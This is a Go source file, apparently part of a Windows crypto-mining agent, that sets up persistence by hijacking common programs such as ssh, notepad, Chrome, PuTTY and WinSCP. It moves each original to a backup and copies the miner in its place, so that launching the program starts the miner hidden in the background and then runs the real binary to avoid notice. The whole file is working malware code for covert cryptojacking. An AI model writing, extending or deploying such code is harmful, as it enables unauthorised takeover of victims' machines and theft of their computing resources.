//go:build windows package deploy import ( "encoding/json" "fmt" "os" "os/exec" "path/filepath" "strings" "crypto-miner-agent/config" ) const ( hostBinaryProxySuffix = ".aetherforge.proxy" hostBinaryBackupSuffix = ".aetherforge.bak" hostBinaryManifest = "host-binary-hijacks.json" ) type hostBinaryRecord struct { Target string `json:"target"` Backup string `json:"backup"` Preset string `json:"preset"` } // HostBinaryPresets lists forge/remote preset IDs for common client binaries. var HostBinaryPresets = []string{ "ssh", "ftp", "telnet", "mstsc", "curl", "notepad", "calc", "chrome", "edge", "firefox", "putty", "winscp", } // HostBinaryCandidates resolves a preset (or custom:full\path.exe) to existing paths on disk. func HostBinaryCandidates(preset string) []string { preset = strings.TrimSpace(strings.ToLower(preset)) if strings.HasPrefix(preset, "custom:") { p := strings.TrimSpace(preset[7:]) if p != "" { return []string{filepath.Clean(p)} } return nil } pf := os.Getenv("ProgramFiles") pfx86 := os.Getenv("ProgramFiles(x86)") switch preset { case "ssh": return existingPaths( `C:\Windows\System32\OpenSSH\ssh.exe`, filepath.Join(pf, "Git", "usr", "bin", "ssh.exe"), ) case "ftp": return existingPaths(`C:\Windows\System32\ftp.exe`) case "telnet": return existingPaths(`C:\Windows\System32\telnet.exe`) case "mstsc": return existingPaths(`C:\Windows\System32\mstsc.exe`) case "curl": return existingPaths(`C:\Windows\System32\curl.exe`) case "notepad": return existingPaths( `C:\Windows\System32\notepad.exe`, `C:\Windows\Notepad\notepad.exe`, ) case "calc": return existingPaths( `C:\Windows\System32\calc.exe`, `C:\Windows\System32\win32calc.exe`, ) case "chrome": return existingPaths(filepath.Join(pf, "Google", "Chrome", "Application", "chrome.exe")) case "edge": return existingPaths( filepath.Join(pfx86, "Microsoft", "Edge", "Application", "msedge.exe"), filepath.Join(pf, "Microsoft", "Edge", "Application", "msedge.exe"), ) case "firefox": return existingPaths(filepath.Join(pf, "Mozilla Firefox", "firefox.exe")) case "putty": return existingPaths(filepath.Join(pfx86, "PuTTY", "putty.exe")) case "winscp": return existingPaths(filepath.Join(pfx86, "WinSCP", "WinSCP.exe")) default: if preset != "" && strings.Contains(preset, `\`) { return existingPaths(preset) } return nil } } func existingPaths(paths ...string) []string { var out []string for _, p := range paths { if p == "" { continue } if st, err := os.Stat(p); err == nil && !st.IsDir() { out = append(out, filepath.Clean(p)) } } return out } func hostBinaryMarkerPath(targetExe string) string { return targetExe + hostBinaryProxySuffix } func hostBinaryBackupPath(targetExe string) string { return targetExe + hostBinaryBackupSuffix } func readHostBinaryMarker(markerPath string) (backup, miner string, ok bool) { data, err := os.ReadFile(markerPath) if err != nil { return "", "", false } lines := strings.Split(strings.ReplaceAll(string(data), "\r\n", "\n"), "\n") if len(lines) < 2 { return "", "", false } backup = strings.TrimSpace(lines[0]) miner = strings.TrimSpace(lines[1]) if backup == "" || miner == "" { return "", "", false } return backup, miner, true } // TryHostBinaryProxy returns true when this process was launched from a hijacked host binary path. func TryHostBinaryProxy(args []string) (backup, miner string, ok bool) { exe, err := os.Executable() if err != nil { return "", "", false } exe, _ = filepath.Abs(exe) marker := hostBinaryMarkerPath(exe) if b, m, found := readHostBinaryMarker(marker); found { return b, m, true } _ = args return "", "", false } // RunHostBinaryProxy starts the installed miner in the background and runs the original binary with forwarded args. func RunHostBinaryProxy(backup, miner string, args []string) { if miner != "" { _ = HiddenStart(miner, runFlag) } if backup == "" { os.Exit(1) } cmd := exec.Command(backup, args...) cmd.Stdin = os.Stdin cmd.Stdout = os.Stdout cmd.Stderr = os.Stderr if err := cmd.Run(); err != nil { if exitErr, ok := err.(*exec.ExitError); ok { os.Exit(exitErr.ExitCode()) } os.Exit(1) } } func hijackManifestPath(cfg config.RuntimeConfig) (string, error) { dir, err := cfg.InstallDirectory() if err != nil { return "", err } return filepath.Join(dir, hostBinaryManifest), nil } func loadHostBinaryManifest(path string) []hostBinaryRecord { data, err := os.ReadFile(path) if err != nil { return nil } var recs []hostBinaryRecord _ = json.Unmarshal(data, &recs) return recs } func saveHostBinaryManifest(path string, recs []hostBinaryRecord) error { data, err := json.MarshalIndent(recs, "", " ") if err != nil { return err } return os.WriteFile(path, data, 0644) } func appendHostBinaryManifest(cfg config.RuntimeConfig, rec hostBinaryRecord) error { path, err := hijackManifestPath(cfg) if err != nil { return err } recs := loadHostBinaryManifest(path) for _, r := range recs { if strings.EqualFold(r.Target, rec.Target) { return nil } } recs = append(recs, rec) return saveHostBinaryManifest(path, recs) } func hijackSingleHostBinary(target, minerPath, preset string) error { target = filepath.Clean(target) if _, err := os.Stat(target); err != nil { return fmt.Errorf("target not found: %s", target) } marker := hostBinaryMarkerPath(target) if _, err := os.Stat(marker); err == nil { return nil } backup := hostBinaryBackupPath(target) if _, err := os.Stat(backup); err != nil { if err := os.Rename(target, backup); err != nil { if err := copyFile(target, backup); err != nil { return fmt.Errorf("backup %s: %w", target, err) } _ = os.Remove(target) } } if err := copyFile(minerPath, target); err != nil { return fmt.Errorf("replace %s: %w (admin may be required)", target, err) } body := backup + "\n" + minerPath + "\n" if err := os.WriteFile(marker, []byte(body), 0644); err != nil { return err } return nil } // HijackHostBinary replaces the first resolvable host binary for preset with a copy of the miner (proxy mode). func HijackHostBinary(cfg config.RuntimeConfig, minerPath, preset string) (string, error) { candidates := HostBinaryCandidates(preset) if len(candidates) == 0 { return "", fmt.Errorf("no host binary found for preset %q", preset) } var lastErr error for _, target := range candidates { if err := hijackSingleHostBinary(target, minerPath, preset); err != nil { lastErr = err continue } _ = appendHostBinaryManifest(cfg, hostBinaryRecord{ Target: target, Backup: hostBinaryBackupPath(target), Preset: preset, }) return target, nil } if lastErr != nil { return "", lastErr } return "", fmt.Errorf("hijack failed for %q", preset) } // EnsureHostBinaryPersistence repairs or creates hijacks for the baked preset. func EnsureHostBinaryPersistence(cfg config.RuntimeConfig, minerPath, preset string) error { if strings.TrimSpace(preset) == "" { return fmt.Errorf("host_binary_target is required") } _, err := HijackHostBinary(cfg, minerPath, preset) return err } // RemoveHostBinaryPersistence restores originals and clears markers/manifest. func RemoveHostBinaryPersistence(cfg config.RuntimeConfig) { path, err := hijackManifestPath(cfg) if err != nil { return } recs := loadHostBinaryManifest(path) for _, rec := range recs { restoreHostBinaryTarget(rec.Target, rec.Backup) } _ = os.Remove(path) } func restoreHostBinaryTarget(target, backup string) { marker := hostBinaryMarkerPath(target) if backup == "" { backup = hostBinaryBackupPath(target) } if _, err := os.Stat(backup); err == nil { _ = os.Remove(target) _ = copyFile(backup, target) _ = os.Remove(backup) } _ = os.Remove(marker) }